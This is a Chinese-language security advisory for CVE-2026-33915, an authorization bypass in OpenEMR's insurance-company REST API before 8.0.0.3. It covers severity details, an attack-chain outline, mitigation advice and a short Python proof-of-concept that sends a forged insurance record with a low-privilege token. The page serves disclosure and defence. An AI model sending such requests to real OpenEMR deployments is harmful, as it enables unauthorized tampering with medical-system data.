IPBUF安全漏洞报告
English
CVE-2026-33915 CVSS 5.4 中危

CVE-2026-33915 OpenEMR权限绕过漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33915
漏洞类型
访问控制失效
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

OpenEMR权限绕过访问控制失效API安全

漏洞概述

OpenEMR在8.0.0.3版本前存在权限绕过漏洞。由于五个保险公司REST API路由缺少`request_authorization_check()`权限验证调用,导致任何经过身份验证的API用户,即使不具备管理员ACL权限,也能创建或修改保险公司记录,破坏系统数据完整性。

技术细节

该漏洞存在于OpenEMR的REST API实现中。标准的数据修改路由通常调用`RestConfig::request_authorization_check()`来验证用户是否具有操作数据的ACL权限。然而,涉及保险公司记录的五个特定路由遗漏了此检查。这使得攻击者在仅需拥有普通API用户权限(PR:L)的情况下,即可通过网络发送特制的HTTP请求(如PUT或POST),直接操作受保护的数据。漏洞利用无需用户交互,成功利用会导致机密性和完整性受损。

攻击链分析

STEP 1
侦查
攻击者识别出目标系统使用的是OpenEMR,且版本低于8.0.0.3。
STEP 2
获取凭证
攻击者注册或通过其他方式获取一个普通权限的API用户账号。
STEP 3
发送恶意请求
攻击者使用该账号的凭证,向存在漏洞的保险公司REST API路由发送修改数据的HTTP请求。
STEP 4
权限绕过
服务器端因缺少权限验证调用,直接处理了请求,导致保险公司数据被非法创建或修改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-openemr-site/api/insurance_company" # Example endpoint api_token = "LOW_PRIVILEGE_USER_TOKEN" # Headers headers = { "Authorization": f"Bearer {api_token}", "Content-Type": "application/json" } # Malicious payload to create or modify insurance data payload = { "name": "Hacker Insurance", "address": "123 Attacker St" } # Sending the request # Exploitation relies on the missing request_authorization_check() response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Data modified.") else: print("[-] Exploit failed.")

影响范围

OpenEMR < 8.0.0.3

防御指南

临时缓解措施
建议立即将OpenEMR更新至修复版本。如果暂时无法升级,应在网络边界限制对OpenEMR API接口的访问,仅允许受信任的管理IP访问,并加强对API用户权限的审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表